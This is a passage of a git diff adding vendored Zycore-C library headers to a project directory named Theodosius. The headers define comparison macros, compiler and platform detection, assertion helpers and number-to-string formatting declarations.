struct field. + */ +#define ZYAN_DECLARE_COMPARISON_FOR_FIELD(name, type, field_name) \ + ZyanI32 name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + if (left->field_name < right->field_name) \ + { \ + return -1; \ + } \ + if (left->field_name > right->field_name) \ + { \ + return 1; \ + } \ + return 0; \ + } + + /* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Default equality comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a default equality comparison function for pointer values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsPointer, void* const) + +/** + * Defines a default equality comparison function for `ZyanBool` values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsBool, ZyanBool) + +/** + * Defines a default equality comparison function for 8-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric8, ZyanU8) + +/** + * Defines a default equality comparison function for 16-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric16, ZyanU16) + +/** + * Defines a default equality comparison function for 32-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric32, ZyanU32) + +/** + * Defines a default equality comparison function for 64-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric64, ZyanU64) + +/* ---------------------------------------------------------------------------------------------- */ +/* Default comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a default comparison function for pointer values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanComparePointer, void* const) + +/** + * Defines a default comparison function for `ZyanBool` values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareBool, ZyanBool) + +/** + * Defines a default comparison function for 8-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric8, ZyanU8) + +/** + * Defines a default comparison function for 16-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric16, ZyanU16) + +/** + * Defines a default comparison function for 32-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric32, ZyanU32) + +/** + * Defines a default comparison function for 64-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric64, ZyanU64) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_COMPARISON_H */ diff --git a/Theodosius/Zycore/Defines.h b/Theodosius/Zycore/Defines.h new file mode 100644 index 0000000..65afbaa --- /dev/null +++ b/Theodosius/Zycore/Defines.h @@ -0,0 +1,443 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * General helper and platform detection macros. + */ + +#ifndef ZYCORE_DEFINES_H +#define ZYCORE_DEFINES_H + +/* ============================================================================================== */ +/* Meta macros */ +/* ============================================================================================== */ + +/** + * Concatenates two values using the stringify operator (`##`). + * + * @param x The first value. + * @param y The second value. + * + * @return The combined string of the given values. + */ +#define ZYAN_MACRO_CONCAT(x, y) x ## y + +/** + * Concatenates two values using the stringify operator (`##`) and expands the value to + * be used in another macro. + * + * @param x The first value. + * @param y The second value. + * + * @return The combined string of the given values. + */ +#define ZYAN_MACRO_CONCAT_EXPAND(x, y) ZYAN_MACRO_CONCAT(x, y) + +/* ============================================================================================== */ +/* Compiler detection */ +/* ============================================================================================== */ + +#if defined(__clang__) +# define ZYAN_CLANG +# define ZYAN_GNUC +#elif defined(__ICC) || defined(__INTEL_COMPILER) +# define ZYAN_ICC +#elif defined(__GNUC__) || defined(__GNUG__) +# define ZYAN_GCC +# define ZYAN_GNUC +#elif defined(_MSC_VER) +# define ZYAN_MSVC +#elif defined(__BORLANDC__) +# define ZYAN_BORLAND +#else +# define ZYAN_UNKNOWN_COMPILER +#endif + +/* ============================================================================================== */ +/* Platform detection */ +/* ============================================================================================== */ + +#if defined(_WIN32) +# define ZYAN_WINDOWS +#elif defined(__EMSCRIPTEN__) +# define ZYAN_EMSCRIPTEN +#elif defined(__APPLE__) +# define ZYAN_APPLE +# define ZYAN_POSIX +#elif defined(__linux) +# define ZYAN_LINUX +# define ZYAN_POSIX +#elif defined(__FreeBSD__) +# define ZYAN_FREEBSD +# define ZYAN_POSIX +#elif defined(sun) || defined(__sun) +# define ZYAN_SOLARIS +# define ZYAN_POSIX +#elif defined(__unix) +# define ZYAN_UNIX +# define ZYAN_POSIX +#elif defined(__posix) +# define ZYAN_POSIX +#else +# define ZYAN_UNKNOWN_PLATFORM +#endif + +/* ============================================================================================== */ +/* Kernel mode detection */ +/* ============================================================================================== */ + +#if (defined(ZYAN_WINDOWS) && defined(_KERNEL_MODE)) || \ + (defined(ZYAN_APPLE) && defined(KERNEL)) || \ + (defined(ZYAN_LINUX) && defined(__KERNEL__)) || \ + (defined(__FreeBSD_kernel__)) +# define ZYAN_KERNEL +#else +# define ZYAN_USER +#endif + +/* ============================================================================================== */ +/* Architecture detection */ +/* ============================================================================================== */ + +#if defined(_M_AMD64) || defined(__x86_64__) +# define ZYAN_X64 +#elif defined(_M_IX86) || defined(__i386__) +# define ZYAN_X86 +#elif defined(_M_ARM64) || defined(__aarch64__) +# define ZYAN_AARCH64 +#elif defined(_M_ARM) || defined(_M_ARMT) || defined(__arm__) || defined(__thumb__) +# define ZYAN_ARM +#elif defined(__EMSCRIPTEN__) + // Nothing to do, `ZYAN_EMSCRIPTEN` is both platform and arch macro for this one. +#else +# error "Unsupported architecture detected" +#endif + +/* ============================================================================================== */ +/* Debug/Release detection */ +/* ============================================================================================== */ + +#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) +# ifdef _DEBUG +# define ZYAN_DEBUG +# else +# define ZYAN_RELEASE +# endif +#elif defined(ZYAN_GNUC) || defined(ZYAN_ICC) +# ifdef NDEBUG +# define ZYAN_RELEASE +# else +# define ZYAN_DEBUG +# endif +#else +# define ZYAN_RELEASE +#endif + +/* ============================================================================================== */ +/* Misc compatibility macros */ +/* ============================================================================================== */ + +#if defined(ZYAN_CLANG) +# define ZYAN_NO_SANITIZE(what) __attribute__((no_sanitize(what))) +#else +# define ZYAN_NO_SANITIZE(what) +#endif + +#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) +# define ZYAN_INLINE __inline +#else +# define ZYAN_INLINE static inline +#endif + +/* ============================================================================================== */ +/* Debugging and optimization macros */ +/* ============================================================================================== */ + +/** + * Runtime debug assertion. + */ +#if defined(ZYAN_NO_LIBC) +# define ZYAN_ASSERT(condition) (void)(condition) +#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) +# include +# define ZYAN_ASSERT(condition) NT_ASSERT(condition) +#else +# include +# define ZYAN_ASSERT(condition) assert(condition) +#endif + +/** + * Compiler-time assertion. + */ +#if __STDC_VERSION__ >= 201112L && !defined(__cplusplus) +# define ZYAN_STATIC_ASSERT(x) _Static_assert(x, #x) +#elif (defined(__cplusplus) && __cplusplus >= 201103L) || \ + (defined(__cplusplus) && defined (_MSC_VER) && (_MSC_VER >= 1600)) || \ + (defined (_MSC_VER) && (_MSC_VER >= 1800)) +# define ZYAN_STATIC_ASSERT(x) static_assert(x, #x) +#else +# define ZYAN_STATIC_ASSERT(x) \ + typedef int ZYAN_MACRO_CONCAT_EXPAND(ZYAN_SASSERT_, __COUNTER__) [(x) ? 1 : -1] +#endif + +/** + * Marks the current code path as unreachable. + */ +#if defined(ZYAN_RELEASE) +# if defined(ZYAN_CLANG) // GCC eagerly evals && RHS, we have to use nested ifs. +# if __has_builtin(__builtin_unreachable) +# define ZYAN_UNREACHABLE __builtin_unreachable() +# else +# define ZYAN_UNREACHABLE for(;;) +# endif +# elif defined(ZYAN_GCC) && ((__GNUC__ == 4 && __GNUC_MINOR__ > 4) || __GNUC__ > 4) +# define ZYAN_UNREACHABLE __builtin_unreachable() +# elif defined(ZYAN_ICC) +# ifdef ZYAN_WINDOWS +# include // "missing return statement" workaround +# define ZYAN_UNREACHABLE __assume(0); (void)abort() +# else +# define ZYAN_UNREACHABLE __builtin_unreachable() +# endif +# elif defined(ZYAN_MSVC) +# define ZYAN_UNREACHABLE __assume(0) +# else +# define ZYAN_UNREACHABLE for(;;) +# endif +#elif defined(ZYAN_NO_LIBC) +# define ZYAN_UNREACHABLE for(;;) +#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) +# define ZYAN_UNREACHABLE { __fastfail(0); for(;;){} } +#else +# include +# define ZYAN_UNREACHABLE { assert(0); abort(); } +#endif + +/* ============================================================================================== */ +/* Utils */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General purpose */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Marks the specified parameter as unused. + * + * @param x The name of the unused parameter. + */ +#define ZYAN_UNUSED(x) (void)(x) + +/** + * Intentional fallthrough. + */ +#if defined(ZYAN_GCC) && __GNUC__ >= 7 +# define ZYAN_FALLTHROUGH __attribute__((fallthrough)) +#else +# define ZYAN_FALLTHROUGH +#endif + +/** + * Declares a bitfield. + * + * @param x The size (in bits) of the bitfield. + */ +#define ZYAN_BITFIELD(x) : x + +/** + * Marks functions that require libc (cannot be used with `ZYAN_NO_LIBC`). + */ +#define ZYAN_REQUIRES_LIBC + +/** + * Decorator for `printf`-style functions. + * + * @param format_index The 1-based index of the format string parameter. + * @param first_to_check The 1-based index of the format arguments parameter. + */ +#if defined(__RESHARPER__) +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ + [[gnu::format(printf, format_index, first_to_check)]] +#elif defined(ZYAN_GCC) +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ + __attribute__((format(printf, format_index, first_to_check))) +#else +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) +#endif + +/** + * Decorator for `wprintf`-style functions. + * + * @param format_index The 1-based index of the format string parameter. + * @param first_to_check The 1-based index of the format arguments parameter. + */ +#if defined(__RESHARPER__) +# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) \ + [[rscpp::format(wprintf, format_index, first_to_check)]] +#else +# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Arrays */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the length (number of elements) of an array. + * + * @param a The name of the array. + * + * @return The number of elements of the given array. + */ +#define ZYAN_ARRAY_LENGTH(a) (sizeof(a) / sizeof((a)[0])) + +/* ---------------------------------------------------------------------------------------------- */ +/* Arithmetic */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the smaller value of `a` or `b`. + * + * @param a The first value. + * @param b The second value. + * + * @return The smaller value of `a` or `b`. + */ +#define ZYAN_MIN(a, b) (((a) < (b)) ? (a) : (b)) + +/** + * Returns the bigger value of `a` or `b`. + * + * @param a The first value. + * @param b The second value. + * + * @return The bigger value of `a` or `b`. + */ +#define ZYAN_MAX(a, b) (((a) > (b)) ? (a) : (b)) + +/** + * Returns the absolute value of `a`. + * + * @param a The value. + * + * @return The absolute value of `a`. + */ +#define ZYAN_ABS(a) (((a) < 0) ? -(a) : (a)) + +/** + * Checks, if the given value is a power of 2. + * + * @param x The value. + * + * @return `ZYAN_TRUE`, if the given value is a power of 2 or `ZYAN_FALSE`, if not. + * + * Note that this macro always returns `ZYAN_TRUE` for `x == 0`. + */ +#define ZYAN_IS_POWER_OF_2(x) (((x) & ((x) - 1)) == 0) + +/** + * Checks, if the given value is properly aligned. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_IS_ALIGNED_TO(x, align) (((x) & ((align) - 1)) == 0) + +/** + * Aligns the value to the nearest given alignment boundary (by rounding it up). + * + * @param x The value. + * @param align The desired alignment. + * + * @return The aligned value. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1)) + +/** + * Aligns the value to the nearest given alignment boundary (by rounding it down). + * + * @param x The value. + * @param align The desired alignment. + * + * @return The aligned value. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_ALIGN_DOWN(x, align) (((x) - 1) & ~((align) - 1)) + +/* ---------------------------------------------------------------------------------------------- */ +/* Bit operations */ +/* ---------------------------------------------------------------------------------------------- */ + +/* + * Checks, if the bit at index `b` is required to present the ordinal value `n`. + * + * @param n The ordinal value. + * @param b The bit index. + * + * @return `ZYAN_TRUE`, if the bit at index `b` is required to present the ordinal value `n` or + * `ZYAN_FALSE`, if not. + * + * Note that this macro always returns `ZYAN_FALSE` for `n == 0`. + */ +#define ZYAN_NEEDS_BIT(n, b) (((unsigned long)(n) >> (b)) > 0) + +/* + * Returns the number of bits required to represent the ordinal value `n`. + * + * @param n The ordinal value. + * + * @return The number of bits required to represent the ordinal value `n`. + * + * Note that this macro returns `0` for `n == 0`. + */ +#define ZYAN_BITS_TO_REPRESENT(n) \ + ( \ + ZYAN_NEEDS_BIT(n, 0) + ZYAN_NEEDS_BIT(n, 1) + \ + ZYAN_NEEDS_BIT(n, 2) + ZYAN_NEEDS_BIT(n, 3) + \ + ZYAN_NEEDS_BIT(n, 4) + ZYAN_NEEDS_BIT(n, 5) + \ + ZYAN_NEEDS_BIT(n, 6) + ZYAN_NEEDS_BIT(n, 7) + \ + ZYAN_NEEDS_BIT(n, 8) + ZYAN_NEEDS_BIT(n, 9) + \ + ZYAN_NEEDS_BIT(n, 10) + ZYAN_NEEDS_BIT(n, 11) + \ + ZYAN_NEEDS_BIT(n, 12) + ZYAN_NEEDS_BIT(n, 13) + \ + ZYAN_NEEDS_BIT(n, 14) + ZYAN_NEEDS_BIT(n, 15) + \ + ZYAN_NEEDS_BIT(n, 16) + ZYAN_NEEDS_BIT(n, 17) + \ + ZYAN_NEEDS_BIT(n, 18) + ZYAN_NEEDS_BIT(n, 19) + \ + ZYAN_NEEDS_BIT(n, 20) + ZYAN_NEEDS_BIT(n, 21) + \ + ZYAN_NEEDS_BIT(n, 22) + ZYAN_NEEDS_BIT(n, 23) + \ + ZYAN_NEEDS_BIT(n, 24) + ZYAN_NEEDS_BIT(n, 25) + \ + ZYAN_NEEDS_BIT(n, 26) + ZYAN_NEEDS_BIT(n, 27) + \ + ZYAN_NEEDS_BIT(n, 28) + ZYAN_NEEDS_BIT(n, 29) + \ + ZYAN_NEEDS_BIT(n, 30) + ZYAN_NEEDS_BIT(n, 31) \ + ) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_DEFINES_H */ diff --git a/Theodosius/Zycore/Format.h b/Theodosius/Zycore/Format.h new file mode 100644 index 0000000..b0401e6 --- /dev/null +++ b/Theodosius/Zycore/Format.h @@ -0,0 +1,286 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides helper functions for performant number to string conversion. + */ + +#ifndef ZYCORE_FORMAT_H +#define ZYCORE_FORMAT_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Helpers */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Get the absolute value of a 64 bit int. + * + * @param x The value to process. + * @return The absolute, unsigned value. + * + * This gracefully deals with the special case of `x` being `INT_MAX`. + */ +ZYAN_INLINE ZyanU64 ZyanAbsI64(ZyanI64 x) +{ + // INT_MIN special case. Can't use the value directly because GCC thinks + // it's too big for an INT64 literal, however is perfectly happy to accept + // this expression. This is also hit INT64_MIN is defined in `stdint.h`. + if (x == (-0x7fffffffffffffff - 1)) + { + return 0x8000000000000000u; + } + + return (ZyanU64)(x < 0 ? -x : x); +} + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Inserts formatted text in the destination string at the given `index`. + * + * @param string The destination string. + * @param index The insert index. + * @param format The format string. + * @param ... The format arguments. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_PRINTF_ATTR(3, 4) +ZYCORE_EXPORT ZyanStatus ZyanStringInsertFormat(ZyanString* string, ZyanUSize index, + const char* format, ...); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecU(ZyanString* string, ZyanUSize index, ZyanU64 value, + ZyanU8 padding_length); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecS(ZyanString* string, ZyanUSize index, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const ZyanString* prefix); + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexU(ZyanString* string, ZyanUSize index, ZyanU64 value, + ZyanU8 padding_length, ZyanBool uppercase); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexS(ZyanString* string, ZyanUSize index, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanString* prefix); + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Appends formatted text to the destination string. + * + * @param string The destination string. + * @param format The format string. + * @param ... The format arguments. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_PRINTF_ATTR(2, 3) +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringAppendFormat( + ZyanString* string, const char* format, ...); + +#endif // ZYAN_NO_LIBC + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecU(ZyanString* string, ZyanU64 value, + ZyanU8 padding_length); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix); + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexU(ZyanString* string, ZyanU64 value, + ZyanU8 padding_length, ZyanBool uppercase); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYCORE_FORMAT_H diff --git a/Theodosius/Zycore/LibC.h b/Theodosius/Zycore/LibC.h new file mode 100644 index 0000000..cb0b2f3 --- /dev/null +++ b/Theodosius/Zycore/LibC.h @@ -0,0 +1,511 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides a simple LibC abstraction and fallback routines. + */ + +#ifndef ZYCORE_LIBC_H +#define ZYCORE_LIBC_H + +#ifndef ZYAN_CUSTOM_LIBC + +// Include a custom LibC header and define `ZYAN_CUSTOM_LIBC` to provide your own LibC +// replacement functions + +#ifndef ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* LibC is available */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* errno.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +#define ZYAN_ERRNO errno + +/* ---------------------------------------------------------------------------------------------- */ +/* stdarg.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef va_list ZyanVAList; + +#define ZYAN_VA_START va_start +#define ZYAN_VA_ARG va_arg +#define ZYAN_VA_END va_end +#define ZYAN_VA_COPY(dest, source) va_copy((dest), (source)) + +/* ---------------------------------------------------------------------------------------------- */ +/* stdio.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +#define ZYAN_FPUTS fputs +#define ZYAN_FPUTC fputc +#define ZYAN_FPRINTF fprintf +#define ZYAN_PRINTF printf +#define ZYAN_PUTC putc +#define 